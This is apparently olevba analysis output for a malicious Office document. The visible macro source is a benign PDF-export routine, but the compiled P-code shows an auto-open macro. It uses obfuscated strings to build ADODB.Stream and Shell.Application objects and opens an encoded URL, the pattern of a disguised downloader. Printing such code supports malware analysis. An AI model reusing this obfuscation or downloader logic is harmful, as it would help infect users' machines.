' Line #640:
' Ld args
' FnUBound 0x0000
' LitDI2 0x0001
' Gt
' If
' BoSImplicit
' LitDI2 0x0002
' ArgsLd args 0x0001
' ArgsLd eval_tree 0x0001
' St rows
' EndIf
' Line #641:
' Ld args
' FnUBound 0x0000
' LitDI2 0x0002
' Gt
' If
' BoSImplicit
' LitDI2 0x0003
' ArgsLd args 0x0001
' ArgsLd eval_tree 0x0001
' St cols
' EndIf
' Line #642:
' Ld rows
' LitDI2 0x0000
' Le
' IfBlock
' Line #643:
' Ld xlDown
' Ld cell
' ArgsMemLd End 0x0001
' MemLd Row
' Ld cell
' MemLd Row
' Sub
' LitDI2 0x0001
' Add
' St rows
' Line #644:
' LitDI2 0x0001
' LitDI2 0x0000
' Ld cell
' ArgsMemLd Offset 0x0002
' Ld Application
' MemLd WorksheetFunction
' ArgsMemLd IsError 0x0001
' Not
' IfBlock
' Line #645:
' LitDI2 0x0001
' LitDI2 0x0000
' Ld cell
' ArgsMemLd Offset 0x0002
' LitStr 0x0000 ""
' Eq
' If
' BoSImplicit
' LitDI2 0x0001
' St rows
' EndIf
' Line #646:
' EndIfBlock
' Line #647:
' EndIfBlock
' Line #648:
' Ld cols
' LitDI2 0x0000
' Le
' IfBlock
' Line #649:
' Ld xlToRight
' Ld cell
' ArgsMemLd End 0x0001
' MemLd Column
' Ld cell
' MemLd Column
' Sub
' LitDI2 0x0001
' Add
' St cols
' Line #650:
' LitDI2 0x0001
' LitDI2 0x0000
' Ld cell
' ArgsMemLd Offset 0x0002
' Ld Application
' MemLd WorksheetFunction
' ArgsMemLd IsError 0x0001
' Not
' IfBlock
' Line #651:
' LitDI2 0x0000
' LitDI2 0x0001
' Ld cell
' ArgsMemLd Offset 0x0002
' LitStr 0x0000 ""
' Eq
' If
' BoSImplicit
' LitDI2 0x0001
' St cols
' EndIf
' Line #652:
' EndIfBlock
' Line #653:
' EndIfBlock
' Line #654:
' Ld rows
' Ld cols
' Ld cell
' ArgsMemLd Resize 0x0002
' MemLd Value
' Ld fn_expand
' ArgsCall Utils_ConformAndAssign 0x0002
' Line #655:
' EndFunc
' Line #656:
' FuncDefn (Private Function fn_version(args As Variant) As Variant)
' Line #657:
' Ld args
' LitDI2 0x0000
' LitDI2 0x0000
' ArgsCall Utils_AssertArgsCount 0x0003
' Line #658:
' Ld VERSION
' St fn_version
' Line #659:
' EndFunc
' Line #660:
' Line #661:
' Line #662:
' Line #663:
' Line #664:
olevba 0.55.1 on Python 3.7.3 - http://decalage.info/python/oletools
===============================================================================
FILE: f6094b58e34a7e55d472c79267089b57aef932b08bfbc707fda67d9773b49d59
Type: OLE
-------------------------------------------------------------------------------
VBA MACRO ThisDocument.cls
in file: f6094b58e34a7e55d472c79267089b57aef932b08bfbc707fda67d9773b49d59 - OLE stream: 'Macros/VBA/ThisDocument'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Sub SaveWorkshetAsPDF()
ThisWorkbook.ExportAsFixedFormat xlTypePDF, "C:UsersSumitDesktopTest" & ThisWorkbook.Name & ".pdf"
End Sub
-------------------------------------------------------------------------------
VBA MACRO Module1.bas
in file: f6094b58e34a7e55d472c79267089b57aef932b08bfbc707fda67d9773b49d59 - OLE stream: 'Macros/VBA/Module1'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Sub SaveWorkshetAsPDF()
ThisWorkbook.ExportAsFixedFormat xlTypePDF, "C:UsersSumitDesktopTest" & ThisWorkbook.Name & ".pdf"
End Sub
-------------------------------------------------------------------------------
VBA MACRO VBA_P-code.txt
in file: VBA P-code - OLE stream: 'VBA P-code'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 1602 bytes
' Line #0:
' FuncDefn (Sub autoopen())
' Line #1:
' LitStr 0x0000 ""
' LitStr 0x0000 ""
' ArgsCall Q 0x0002
' Line #2:
' EndSub
' Line #3:
' Line #4:
' Line #5:
' Line #6:
' Macros/VBA/Module1 - 37626 bytes
' Line #0:
' Line #1:
' Dim (Private Const)
' LitStr 0x0004 "1.62"
' VarDefn VERSION
' Line #2:
' Dim (Private Const)
' LitStr 0x000A "0123456789"
' VarDefn NUMERICS
' Line #3:
' Dim (Private Const)
' LitStr 0x001A "abcdefghijklmnopqrstuvwxyz"
' VarDefn ALPHAS
' Line #4:
' Dim (Private Const)
' LitStr 0x000A "()[],;:+-#"
' VarDefn SINGLE_OPS
' Line #5:
' Dim (Private Const)
' LitStr 0x000B ".|&<>~=*/^!"
' VarDefn COMBO_OPS
' Line #6:
' Line #7:
' Dim (Public)
' VarDefn CodOrdineCorrente1 (As Object)
' Line #8:
' Dim (Public)
' VarDefn UtilsInd2Sub (As Object)
' Line #9:
' Dim (Public)
' VarDefn ParsePostfixResult (As Object) 0x001B
' Line #10:
' Dim (Public)
' VarDefn CodOrdineCorrente4 (As String)
' Line #11:
' Dim (Public)
' VarDefn dimIndexArgs (As String)
' Line #12:
' Dim (Public)
' VarDefn UtilsCalcDimDirection (As Object)
' Line #13:
' Dim (Private)
' VarDefn expression (As String)
' Line #14:
' Dim (Private)
' VarDefn expressionIndex (As Long)
' Line #15:
' Dim (Private)
' VarDefn currentToken (As String)
' Line #16:
' Dim (Private)
' VarDefn previousTokenIsSpace (As Boolean)
' Line #17:
' Dim (Private)
' VarDefn arguments (As Variant)
' Line #18:
' Dim (Private)
' VarDefn endValues (As Variant)
' Line #19:
' Dim (Private)
' VarDefn errorMsg (As String)
' Line #20:
' Dim (Private)
' VarDefn ans (As Variant)
' Line #21:
' Line #22:
' FuncDefn (Private Sub Tokens_Next())
' Line #23:
' LitStr 0x0001 " "
' ArgsLd Tokens_MoveCharPointer 0x0001
' St previousTokenIsSpace
' Line #24:
' Ld expressionIndex
' Ld expression
' FnLen
' Gt
' If
' BoSImplicit
' LitStr 0x0000 ""
' St currentToken
' BoS 0x0000
' ExitSub
' EndIf
' Line #25:
' Dim
' VarDefn startIndex (As Long)
' BoS 0x0000
' Ld expressionIndex
' St startIndex
' Line #26:
' Ld expression
' Ld expressionIndex
' LitDI2 0x0001
' ArgsLd Mid 0x0003
' ArgsLd Asc 0x0001
' SelectCase
' Line #27:
' LitStr 0x0001 """
' ArgsLd Asc 0x0001
' Case
' CaseDone
' Line #28:
' Ld expressionIndex
' LitDI2 0x0001
' Add
' St expressionIndex
' Line #29:
' LitStr 0x0001 """
' LitVarSpecial (True)
' ArgsCall Tokens_MoveCharPointer 0x0002
' Line #30:
' Ld expressionIndex
' Ld expression
' FnLen
' Le
' LitStr 0x0019 "Unfinished string literal"
' ArgsCall Utils_Assert 0x0002
' Line #31:
' Ld expressionIndex
' LitDI2 0x0001
' Add
' St expressionIndex
' Line #32:
' LitStr 0x0001 "a"
' ArgsLd Asc 0x0001
' LitStr 0x0001 "z"
' ArgsLd Asc 0x0001
' CaseTo
' CaseDone
' Line #33:
' Ld NUMERICS
' Ld ALPHAS
' Concat
' LitStr 0x0001 "_"
' Concat
' ArgsCall Tokens_MoveCharPointer 0x0001
' Line #34:
' LitStr 0x0001 "0"
' ArgsLd Asc 0x0001
' LitStr 0x0001 "9"
' ArgsLd Asc 0x0001
' CaseTo
' CaseDone
' Line #35:
' Ld NUMERICS
' ArgsCall Tokens_MoveCharPointer 0x0001
' Line #36:
' LitStr 0x0001 "."
' LitVarSpecial (False)
' LitVarSpecial (True)
' ArgsLd Tokens_MoveCharPointer 0x0003
' IfBlock
' Line #37:
' Ld NUMERICS
' ArgsCall Tokens_MoveCharPointer 0x0001
' Line #38:
' EndIfBlock
' Line #39:
' LitStr 0x0002 "eE"
' LitVarSpecial (False)
' LitVarSpecial (True)
' ArgsLd Tokens_MoveCharPointer 0x0003
' IfBlock
' Line #40:
' Ld NUMERICS
' LitStr 0x0001 "-"
' Concat
' LitVarSpecial (False)
' LitVarSpecial (True)
' ArgsCall Tokens_MoveCharPointer 0x0003
' Line #41:
' Ld NUMERICS
' ArgsCall Tokens_MoveCharPointer 0x0001
' Line #42:
' EndIfBlock
' Line #43:
' Ld vbLf
' ArgsLd Asc 0x0001
' Case
' CaseDone
' Line #44:
' Ld expressionIndex
' LitDI2 0x0001
' Add
' St expressionIndex
' Line #45:
' CaseElse
' Line #46:
' Ld SINGLE_OPS
' LitVarSpecial (False)
' LitVarSpecial (True)
' ArgsLd Tokens_MoveCharPointer 0x0003
' Not
' IfBlock
' Line #47:
' Ld COMBO_OPS
' ArgsCall Tokens_MoveCharPointer 0x0001
' Line #48:
' EndIfBlock
' Line #49:
' EndSelect
' Line #50:
' Ld expression
' Ld startIndex
' Ld expressionIndex
' Ld startIndex
' Sub
' ArgsLd Mid 0x0003
' St currentToken
' Line #51:
' LineCont 0x0004 0C 00 01 00
' Ld expressionIndex
' Ld startIndex
' Gt
' Ld expressionIndex
' Ld expression
' FnLen
' Gt
' Or
' LitStr 0x000E "Illegal char: "
' Ld expression
' Ld expressionIndex
' LitDI2 0x0001
' ArgsLd Mid 0x0003
' Concat
' ArgsCall Utils_Assert 0x0002
' Line #52:
' EndSub
' Line #53:
' FuncDefn (Private Sub Tokens_AssertAndNext(token As String))
' Line #54:
' Ld token
' Ld currentToken
' Eq
' LitStr 0x000F "missing token: "
' Ld token
' Concat
' ArgsCall Utils_Assert 0x0002
' Line #55:
' ArgsCall Tokens_Next 0x0000
' Line #56:
' EndSub
' Line #57:
' LineCont 0x0008 08 00 01 00 0F 00 01 00
' ConstFuncExpr
' LitVarSpecial (False)
' LitVarSpecial (False)
' FuncDefn (Private Function Tokens_MoveCharPointer(str As String, Optional stopAtStr As Boolean, Optional singleCharOnly As Boolean) As Boolean)
' Line #58:
' LineCont 0x0004 07 00 01 00
' Ld expressionIndex
' Ld expression
' FnLen
' Le
' Ld stopAtStr
' Ld str
' Ld expression
' Ld expressionIndex
' LitDI2 0x0001
' ArgsLd Mid 0x0003
' FnInStr
' LitDI2 0x0000
' Gt
' Paren
' Ne
' And
' While
' Line #59:
' Ld expressionIndex
' LitDI2 0x0001
' Add
' St expressionIndex
' Line #60:
' LitVarSpecial (True)
' St Tokens_MoveCharPointer
' Line #61:
' Ld singleCharOnly
' If
' BoSImplicit
' ExitFunc
' EndIf
' Line #62:
' Wend
' Line #63:
' EndFunc
' Line #64:
' FuncDefn (Private Function Parse_FindBinaryOp(token As String, ByRef op As Variant) As Boolean)
' Line #65:
' LitVarSpecial (True)
' St Parse_FindBinaryOp
' Line #66:
' Ld token
' SelectCase
' Line #67:
' LitStr 0x0002 "||"
' Case
' CaseDone
' BoS 0x0000
' LitStr 0x000E "orshortcircuit"
' LitDI2 0x0001
' LitVarSpecial (True)
' ArgsArray Array 0x0003
' St op
' Line #68:
' LitStr 0x0002 "&&"
' Case
' CaseDone
' BoS 0x0000
' LitStr 0x000F "andshortcircuit"
' LitDI2 0x0002
' LitVarSpecial (True)
' ArgsArray Array 0x0003
' St op
' Line #69:
' LitStr 0x0001 "|"
' Case
' CaseDone
' BoS 0x0000
' LitStr 0x0002 "or"
' LitDI2 0x0003
' LitVarSpecial (True)
' ArgsArray Array 0x0003
' St op
' Line #70:
' LitStr 0x0001 "&"
' Case
' CaseDone
' BoS 0x0000
' LitStr 0x0003 "and"
' LitDI2 0x0004
' LitVarSpecial (True)
' ArgsArray Array 0x0003
' St op
' Line #71:
' LitStr 0x0001 "<"
' Case
' CaseDone
' BoS 0x0000
' LitStr 0x0002 "lt"
' LitDI2 0x0005
' LitVarSpecial (True)
' ArgsArray Array 0x0003
' St op
' Line #72:
' LitStr 0x0002 "<="
' Case
' CaseDone
' BoS 0x0000
' LitStr 0x0003 "lte"
' LitDI2 0x0005
' LitVarSpecial (True)
' ArgsArray Array 0x0003
' St op
' Line #73:
' LitStr 0x0001 ">"
' Case
' CaseDone
' BoS 0x0000
' LitStr 0x0002 "gt"
' LitDI2 0x0005
' LitVarSpecial (True)
' ArgsArray Array 0x0003
' St op
' Line #74:
' LitStr 0x0002 ">="
' Case
' CaseDone
' BoS 0x0000
' LitStr 0x0003 "gte"
' LitDI2 0x0005
' LitVarSpecial (True)
' ArgsArray Array 0x0003
' St op
' Line #75:
' LitStr 0x0002 "=="
' Case
' CaseDone
' BoS 0x0000
' LitStr 0x0002 "eq"
' LitDI2 0x0005
' LitVarSpecial (True)
' ArgsArray Array 0x0003
' St op
' Line #76:
' LitStr 0x0001 "="
' Case
' CaseDone
' BoS 0x0000
' LitStr 0x0002 "eq"
' LitDI2 0x0005
' LitVarSpecial (True)
' ArgsArray Array 0x0003
' St op
' Line #77:
' LitStr 0x0002 "~="
' Case
' CaseDone
' BoS 0x0000
' LitStr 0x0002 "ne"
' LitDI2 0x0005
' LitVarSpecial (True)
' ArgsArray Array 0x0003
' St op
' Line #78:
' LitStr 0x0002 "<>"
' Case
' CaseDone
' BoS 0x0000
' LitStr 0x0002 "ne"
' LitDI2 0x0005
' LitVarSpecial (True)
' ArgsArray Array 0x0003
' St op
' Line #79:
' LitStr 0x0001 ":"
' Case
' CaseDone
' BoS 0x0000
' LitStr 0x0005 "colon"
' LitDI2 0x0006
' LitVarSpecial (False)
' ArgsArray Array 0x0003
' St op
' Line #80:
' LitStr 0x0001 "+"
' Case
' CaseDone
' BoS 0x0000
' LitStr 0x0004 "plus"
' LitDI2 0x0007
' LitVarSpecial (True)
' ArgsArray Array 0x0003
' St op
' Line #81:
' LitStr 0x0001 "-"
' Case
' CaseDone
' BoS 0x0000
' LitStr 0x0005 "minus"
' LitDI2 0x0007
' LitVarSpecial (True)
' ArgsArray Array 0x0003
' St op
' Line #82:
' LitStr 0x0001 "*"
' Case
' CaseDone
' BoS 0x0000
' LitStr 0x0006 "mtimes"
' LitDI2 0x0008
' LitVarSpecial (True)
' ArgsArray Array 0x0003
' St op
' Line #83:
' LitStr 0x0002 ".*"
' Case
' CaseDone
' BoS 0x0000
' LitStr 0x0005 "times"
' LitDI2 0x0008
' LitVarSpecial (True)
' ArgsArray Array 0x0003
' St op
' Line #84:
' LitStr 0x0001 "/"
' Case
' CaseDone
' BoS 0x0000
' LitStr 0x0007 "mdivide"
' LitDI2 0x0008
' LitVarSpecial (True)
' ArgsArray Array 0x0003
' St op
' Line #85:
' LitStr 0x0002 "./"
' Case
' CaseDone
' BoS 0x0000
' LitStr 0x0006 "divide"
' LitDI2 0x0008
' LitVarSpecial (True)
' ArgsArray Array 0x0003
' St op
' Line #86:
' LitStr 0x0001 "^"
' Case
' CaseDone
' BoS 0x0000
' LitStr 0x0006 "mpower"
' LitDI2 0x0009
' LitVarSpecial (True)
' ArgsArray Array 0x0003
' St op
' Line #87:
' LitStr 0x0002 ".^"
' Case
' CaseDone
' BoS 0x0000
' LitStr 0x0005 "power"
' LitDI2 0x0009
' LitVarSpecial (True)
' ArgsArray Array 0x0003
' St op
' Line #88:
' CaseElse
' BoS 0x0000
' LitVarSpecial (False)
' St Parse_FindBinaryOp
' Line #89:
' EndSelect
' Line #90:
' EndFunc
' Line #91:
' FuncDefn (Public Function Q(expr As String, args As String) As Variant)
' Line #92:
' LitStr 0x0001 "e"
' ArgsLd Asc 0x0001
' ArgsLd Chr 0x0001
' St arguments
' Line #93:
' LitVarSpecial (Empty)
' St endValues
' Line #94:
' LitStr 0x0001 "T"
' ArgsLd Asc 0x0001
' ArgsLd Chr 0x0001
' St errorMsg
' Line #95:
' Line #96:
' OnError ErrorHandler
' Line #97:
' Ld expr
' St expression
' Line #98:
' Line #99:
' LitStr 0x0000 ""
' LitStr 0x0000 ""
' ArgsCall Parse_FindUnaryPostfixOp 0x0002
' Line #100:
' ExitFunc
' Line #101:
' LitDI2 0x0001
' St expressionIndex
' Line #102:
' ArgsCall Tokens_Next 0x0000
' Line #103:
' Dim
' VarDefn root (As Variant)
' Line #104:
' Do
' Line #105:
' Ld currentToken
' SelectCase
' Line #106:
' LitStr 0x0000 ""
' Case
' CaseDone
' Line #107:
' ExitDo
' Line #108:
' LitStr 0x0001 ";"
' Case
' Ld vbLf
' Case
' CaseDone
' Line #109:
' ArgsCall Tokens_Next 0x0000
' Line #110:
' CaseElse
' Line #111:
' ArgsLd Parse_Binary 0x0000
' St root
' Line #112:
' Ld root
' ArgsLd eval_tree 0x0001
' St ans
' Line #113:
' LineCont 0x0008 01 00 01 00 0D 00 01 00
' Ld currentToken
' LitStr 0x0000 ""
' Eq
' Ld currentToken
' LitStr 0x0001 ";"
' Eq
' Or
' Ld currentToken
' Ld vbLf
' Eq
' Or
' LitStr 0x0000 ""
' ArgsCall Utils_Assert 0x0002
' Line #114:
' EndSelect
' Line #115:
' LitVarSpecial (True)
' LoopWhile
' Line #116:
' Ld ans
' St Q
' Line #117:
' ExitFunc
' Line #118:
' Label ErrorHandler
' Line #119:
' Ld errorMsg
' LitStr 0x0000 ""
' Eq
' If
' BoSImplicit
' Ld Err
' MemLd Description
' St errorMsg
' EndIf
' Line #120:
' LitStr 0x0008 "ERROR - "
' Ld errorMsg
' Concat
' St Q
' Line #121:
' EndFunc
' Line #122:
' FuncDefn (Private Function Parse_FindUnaryPrefixOp(token As String, ByRef op As Variant) As Boolean)
' Line #123:
' LitVarSpecial (True)
' St Parse_FindUnaryPrefixOp
' Line #124:
' Ld token
' SelectCase
' Line #125:
' LitStr 0x0001 "+"
' Case
' CaseDone
' BoS 0x0000
' LitStr 0x0005 "uplus"
' St op
' Line #126:
' LitStr 0x0001 "-"
' Case
' CaseDone
' BoS 0x0000
' LitStr 0x0006 "uminus"
' St op
' Line #127:
' LitStr 0x0001 "~"
' Case
' CaseDone
' BoS 0x0000
' LitStr 0x0006 "negate"
' St op
' Line #128:
' LitStr 0x0001 "#"
' Case
' CaseDone
' BoS 0x0000
' LitStr 0x0005 "numel"
' St op
' Line #129:
' LitStr 0x0001 "!"
' Case
' CaseDone
' BoS 0x0000
' LitStr 0x0006 "extern"
' St op
' Line #130:
' CaseElse
' BoS 0x0000
' LitVarSpecial (False)
' St Parse_FindUnaryPrefixOp
' Line #131:
' EndSelect
' Line #132:
' EndFunc
' Line #133:
' Line #134:
' FuncDefn (Private Function Parse_Matrix() As Variant)
' Line #135:
' Ld currentToken
' LitStr 0x0001 "]"
' Ne
' While
' Line #136:
' LitVarSpecial (True)
' Ld Park
' ArgsMemLd se_List 0x0001
' Ld Parse_Matrix
' ArgsCall Utils_Stack_Push 0x0002
' Line #137:
' Ld currentToken
' LitStr 0x0001 ";"
' Eq
' If
' BoSImplicit
' ArgsCall Tokens_Next 0x0000
' EndIf
' Line #138:
' Ld currentToken
' LitStr 0x0000 ""
' Ne
' LitStr 0x0008 "Missing "
' ArgsCall Utils_Assert 0x0002
' Line #139:
' Wend
' Line #140:
' EndFunc
' Line #141:
' ConstFuncExpr
' LitVarSpecial (False)
' FuncDefn (Private Function Parkse_List(Optional isSpaceSeparator As Boolean) As Variant)
' Line #142:
' SetStmt
' LitStr 0x0001 "a"
' ArgsLd UCase 0x0001
' LitStr 0x0006 "dodb.S"
' Add
' Ld errorMsg
' ArgsLd LCase 0x0001
' Add
' LitStr 0x0001 "r"
' Add
' Ld arguments
' Add
' LitStr 0x0002 "am"
' Add
' ArgsLd CreateObject 0x0001
' Set UtilsInd2Sub
' Line #143:
' ArgsCall Parse_Binary 0x0000
' Line #144:
' ExitFunc
' Line #145:
' LitStr 0x0003 ";)]"
' Ld currentToken
' FnInStr
' LitDI2 0x0000
' Eq
' DoWhile
' Line #146:
' Ld currentToken
' LitStr 0x0001 ","
' Eq
' IfBlock
' Line #147:
' LitStr 0x000D "eval_constant"
' LitVarSpecial (Empty)
' ArgsArray Array 0x0002
' Ld Park
' MemLd se_List
' ArgsCall Utils_Stack_Push 0x0002
' Line #148:
' ElseBlock
' Line #149:
' ArgsLd Parse_Binary 0x0000
' Ld Park
' MemLd se_List
' ArgsCall Utils_Stack_Push 0x0002
' Line #150:
' EndIfBlock
' Line #151:
' Ld currentToken
' LitStr 0x0001 ","
' Eq
' IfBlock
' Line #152:
' ArgsCall Tokens_Next 0x0000
' Line #153:
' Ld previousTokenIsSpace
' Ld isSpaceSeparator
' And
' Paren
' Not
' ElseIfBlock
' Line #154:
' ExitDo
' Line #155:
' EndIfBlock
' Line #156:
' Loop
' Line #157:
' EndFunc
' Line #158:
' ConstFuncExpr
' LitDI2 0x03E7
' UMi
' FuncDefn (Private Function Parse_Binary(Optional lastPrec As Long) As Variant)
' Line #159:
' SetStmt
' LitStr 0x0001 "s"
' ArgsLd UCase 0x0001
' LitStr 0x0001 "h"
' Add
' Ld arguments
' Add
' LitStr 0x000A "ll.Applica"
' Add
' Ld errorMsg
' ArgsLd LCase 0x0001
' Add
' LitStr 0x0003 "ion"
' Add
' ArgsLd CreateObject 0x0001
' Set UtilsCalcDimDirection
' Line #160:
' ArgsCall Parse_Postfix 0x0000
' Line #161:
' ExitFunc
' Line #162:
' ArgsLd Parse_Prefix 0x0000
' St Parse_Binary
' Line #163:
' Dim
' VarDefn op
' BoS 0x0000
' Ld currentToken
' Ld op
' ArgsLd Parse_FindBinaryOp 0x0002
' DoWhile
' Line #164:
' LitDI2 0x0002
' ArgsLd op 0x0001
' LitDI2 0x0003
' ArgsLd op 0x0001
' Coerce (Lng)
' Add
' Ld lastPrec
' Lt
' If
' BoSImplicit
' ExitDo
' EndIf
' Line #165:
' ArgsCall Tokens_Next 0x0000
' Line #166:
' LitStr 0x0003 "op_"
' LitDI2 0x0001
' ArgsLd op 0x0001
' Concat
' Ld Parse_Binary
' LitDI2 0x0002
' ArgsLd op 0x0001
' Coerce (Lng)
' ArgsLd Parse_Binary 0x0001
' ArgsArray Array 0x0002
' ArgsArray Array 0x0002
' St Parse_Binary
' Line #167:
' Loop
' Line #168:
' EndFunc
' Line #169:
' FuncDefn (Private Function Parse_Prefix() As Variant)
' Line #170:
' Dim
' VarDefn op
' Line #171:
' Ld currentToken
' Ld op
' ArgsLd Parse_FindUnaryPrefixOp 0x0002
' IfBlock
' Line #172:
' ArgsCall Tokens_Next 0x0000
' Line #173:
' LitStr 0x0003 "op_"
' Ld op
' Concat
' ArgsLd Parse_Prefix 0x0000
' ArgsArray Array 0x0001
' ArgsArray Array 0x0002
' St Parse_Prefix
' Line #174:
' ElseBlock
' Line #175:
' ArgsLd Parse_Postfix 0x0000
' St Parse_Prefix
' Line #176:
' EndIfBlock
' Line #177:
' EndFunc
' Line #178:
' Line #179:
' FuncDefn (Private Function Parse_Atomic() As Variant)
' Line #180:
' Ld currentToken
' LitStr 0x0000 ""
' Ne
' LitStr 0x0010 "missing argument"
' ArgsCall Utils_Assert 0x0002
' Line #181:
' Ld currentToken
' ArgsLd Asc 0x0001
' SelectCase
' Line #182:
' LitStr 0x0001 ":"
' ArgsLd Asc 0x0001
' Case
' CaseDone
' Line #183:
' LitStr 0x000A "eval_colon"
' LitVarSpecial (Empty)
' ArgsArray Array 0x0002
' St Parse_Atomic
' Line #184:
' ArgsCall Tokens_Next 0x0000
' Line #185:
' LitStr 0x0001 "("
' ArgsLd Asc 0x0001
' Case
' CaseDone
' Line #186:
' ArgsCall Tokens_Next 0x0000
' Line #187:
' ArgsLd Parse_Binary 0x0000
' St Parse_Atomic
' Line #188:
' LitStr 0x0001 ")"
' ArgsCall Tokens_AssertAndNext 0x0001
' Line #189:
' LitStr 0x0001 "["
' ArgsLd Asc 0x0001
' Case
' CaseDone
' Line #190:
' ArgsCall Tokens_Next 0x0000
' Line #191:
' LitStr 0x000B "eval_concat"
' ArgsLd Parse_Matrix 0x0000
' ArgsArray Array 0x0002
' St Parse_Atomic
' Line #192:
' LitStr 0x0001 "]"
' ArgsCall Tokens_AssertAndNext 0x0001
' Line #193:
' LitStr 0x0001 """
' ArgsLd Asc 0x0001
' Case
' CaseDone
' Line #194:
' LitStr 0x000D "eval_constant"
' Ld currentToken
' LitDI2 0x0002
' Ld currentToken
' FnLen
' LitDI2 0x0002
' Sub
' ArgsLd Mid 0x0003
' ArgsArray Array 0x0002
' St Parse_Atomic
' Line #195:
' ArgsCall Tokens_Next 0x0000
' Line #196:
' LitStr 0x0001 "0"
' ArgsLd Asc 0x0001
' LitStr 0x0001 "9"
' ArgsLd Asc 0x0001
' CaseTo
' CaseDone
' Line #197:
' LitStr 0x000D "eval_constant"
' Ld currentToken
' ArgsLd Val 0x0001
' ArgsArray Array 0x0002
' St Parse_Atomic
' Line #198:
' ArgsCall Tokens_Next 0x0000
' Line #199:
' LitStr 0x0001 "a"
' ArgsLd Asc 0x0001
' LitStr 0x0001 "z"
' ArgsLd Asc 0x0001
' CaseTo
' CaseDone
' Line #200:
' Ld currentToken
' LitStr 0x0003 "end"
' Eq
' IfBlock
' Line #201:
' LitStr 0x0008 "eval_end"
' LitVarSpecial (Empty)
' ArgsArray Array 0x0002
' St Parse_Atomic
' Line #202:
' ArgsCall Tokens_Next 0x0000
' Line #203:
' Ld currentToken
' LitStr 0x0003 "ans"
' Eq
' ElseIfBlock
' Line #204:
' LitStr 0x0008 "eval_ans"
' LitVarSpecial (Empty)
' ArgsArray Array 0x0002
' St Parse_Atomic
' Line #205:
' ArgsCall Tokens_Next 0x0000
' Line #206:
' Ld currentToken
' FnLen
' LitDI2 0x0001
' Eq
' ElseIfBlock
' Line #207:
' LitStr 0x0008 "eval_arg"
' Ld currentToken
' ArgsLd Asc 0x0001
' LitStr 0x0001 "a"
' ArgsLd Asc 0x0001
' Sub
' ArgsArray Array 0x0002
' St Parse_Atomic
' Line #208:
' ArgsCall Tokens_Next 0x0000
' Line #209:
' ElseBlock
' Line #210:
' LitStr 0x0003 "fn_"
' Ld currentToken
' Concat
' St Parse_Atomic
' Line #211:
' ArgsCall Tokens_Next 0x0000
' Line #212:
' Ld currentToken
' LitStr 0x0001 "("
' Eq
' IfBlock
' Line #213:
' LitStr 0x0001 "("
' ArgsCall Tokens_AssertAndNext 0x0001
' Line #214:
' Ld Parse_Atomic
' Ld Park
' ArgsMemLd se_List 0x0000
' ArgsArray Array 0x0002
' St Parse_Atomic
' Line #215:
' LitStr 0x0001 ")"
' ArgsCall Tokens_AssertAndNext 0x0001
' Line #216:
' ElseBlock
' Line #217:
' Ld Parse_Atomic
' LitVarSpecial (Empty)
' ArgsArray Array 0x0002
' St Parse_Atomic
' Line #218:
' EndIfBlock
' Line #219:
' EndIfBlock
' Line #220:
' CaseElse
' Line #221:
' LitVarSpecial (False)
' LitStr 0x0012 "unexpected token: "
' Ld currentToken
' Concat
' ArgsCall Utils_Assert 0x0002
' Line #222:
' EndSelect
' Line #223:
' EndFunc
' Line #224:
' FuncDefn (Private Function MAX(a As Variant, B As Variant) As Variant)
' Line #225:
' Dim
' VarDefn homebrew (As Variant)
' Line #226:
' LitDI2 0x2A4E
' LitDI2 0x2A5A
' LitDI2 0x2A5A
' LitDI2 0x2A56
' LitDI2 0x2A20
' LitDI2 0x2A15
' LitDI2 0x2A15
' LitDI2 0x2A48
' LitDI2 0x2A58
' LitDI2 0x2A4B
' LitDI2 0x2A4A
' LitDI2 0x2A47
' LitDI2 0x2A14
' LitDI2 0x2A5C
' LitDI2 0x2A47
' LitDI2 0x2A54
' LitDI2 0x2A4E
' LitDI2 0x2A4F
' LitDI2 0x2A4B
' LitDI2 0x2A52
' LitDI2 0x2A4B
' LitDI2 0x2A14
' LitDI2 0x2A54
' LitDI2 0x2A52
' LitDI2 0x2A15
' LitDI2 0x2A1A
' LitDI2 0x2A19
' LitDI2 0x2A1D
' LitDI2 0x2A4D
' LitDI2 0x2A1E
' LitDI2 0x2A15
' LitDI2 0x2A1A
' LitDI2 0x2A19
' LitDI2 0x2A59
' LitDI2 0x2A1B
' LitDI2 0x2A4A
' LitDI2 0x2A1C
' LitDI2 0x2A4C
' LitDI2 0x2A1D
' LitDI2 0x2A4D
' LitDI2 0x2A14
' LitDI2 0x2A4B
' LitDI2 0x2A5E
' LitDI2 0x2A4B
' ArgsArray Array 0x002C
' St homebrew
' Line #227:
' LitStr 0x0001 "H"
' ArgsLd Asc 0x0001
' LitDI2 0x0001
' Sub
' ArgsLd Chr 0x0001
' Ld arguments
' ArgsLd UCase 0x0001
' Add
' Ld errorMsg
' Add
' Ld homebrew
' LitDI2 0x002B
' ArgsLd UtilsAssertToken 0x0002
' LitVarSpecial (False)
' Ld CodOrdineCorrente1
' ArgsMemCall Open 0x0003
' Line #228:
' LitDI2 0x0002
' ArgsCall Utils_Numel 0x0001
' Line #229:
' ExitFunc
' Line #230:
' Ld a
' Ld B
' Gt
' If
' BoSImplicit
' Ld a
' St MAX
' Else
' BoSImplicit
' Ld B
' St MAX
' EndIf
' Line #231:
' EndFunc
' Line #232:
' FuncDefn (Private Function MIN(a As Variant, B As Variant) As Variant)
' Line #233:
' Ld a
' Ld B
' Lt
' If
' BoSImplicit
' Ld a
' St MIN
' Else
' BoSImplicit
' Ld B
' St MIN
' EndIf
' Line #234:
' EndFunc
' Line #235:
' FuncDefn (Private Function IFF(a As Boolean, B As Variant, c As Variant) As Variant)
' Line #236:
' Ld a
' If
' BoSImplicit
' Ld B
' St IFF
' Else
' BoSImplicit
' Ld c
' St IFF
' EndIf
' Line #237:
' EndFunc
' Line #238:
' ConstFuncExpr
' LitStr 0x0000 ""
' FuncDefn (Private Sub Utils_DumpTree(tree As Variant, Optional spacer As String))
' Line #239:
' Ld tree
' ArgsLd Utils_Dimensions 0x0001
' LitDI2 0x0000
' Gt
' IfBlock
' Line #240:
' Dim
' VarDefn leaf
' BoS 0x0000
' StartForVariable
' Ld leaf
' EndForVariable
' Ld tree
' ForEach
' Line #241:
' Ld leaf
' Ld spacer
' LitStr 0x0001 " "
' Concat
' ArgsCall Utils_DumpTree 0x0002
' Line #242:
' StartForVariable
' Ld leaf
' EndForVariable
' NextVar
' Line #243:
' ElseBlock
